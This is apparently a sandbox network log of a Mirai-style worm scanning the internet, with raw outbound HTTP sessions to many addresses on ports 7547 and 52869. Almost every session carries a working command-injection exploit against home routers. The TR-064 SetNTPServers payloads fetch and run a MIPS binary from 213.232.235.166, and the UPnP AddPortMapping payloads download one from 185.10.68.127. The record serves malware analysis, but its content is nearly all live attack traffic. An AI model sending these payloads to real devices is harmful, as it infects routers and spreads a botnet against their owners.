Apr 15, 2024 08:53:29.369168997 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:29.576924086 CEST	113	IN	HTTP/1.1 400 Bad Request Date: Mon 15 Apr 2024 06:53:29 UTC Server: lighttpd Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
979	192.168.2.13	58126	47.149.41.251	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.523472071 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
980	192.168.2.13	39942	71.34.5.73	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.574316025 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:29.785697937 CEST	113	IN	HTTP/1.1 400 Bad Request Date: Mon 15 Apr 2024 06:53:29 UTC Server: lighttpd Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
981	192.168.2.13	45110	99.251.198.135	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.627645969 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:30.349160910 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
982	192.168.2.13	58144	47.149.41.251	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.678721905 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
983	192.168.2.13	47630	190.147.70.78	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.785901070 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
984	192.168.2.13	59074	186.27.132.13	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.788664103 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:30.062057972 CEST	230	IN	HTTP/1.1 400 Bad Request Date: Sun Apr 14 18:19:09 2024 Server: TR069 client TCP connection request Server Content-Length: 21 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 20 52 65 71 75 65 73 74 20 4f 4b Data Ascii: Connection Request OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
985	192.168.2.13	43590	51.91.60.24	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.808459044 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
986	192.168.2.13	42382	175.228.147.138	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.811623096 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
987	192.168.2.13	57116	86.171.141.228	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.817950964 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
988	192.168.2.13	53018	31.136.253.47	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.822079897 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:33.024389982 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:39.168401003 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:51.200479031 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
989	192.168.2.13	35504	2.140.1.5	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.879371881 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:30.247407913 CEST	136	IN	HTTP/1.1 500 Internal Server Error Server: gSOAP/2.7 Content-Type: text/xml; charset=utf-8 Content-Length: 548 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
990	192.168.2.13	47202	77.222.60.111	80

Timestamp	Bytes transferred	Direction	Data
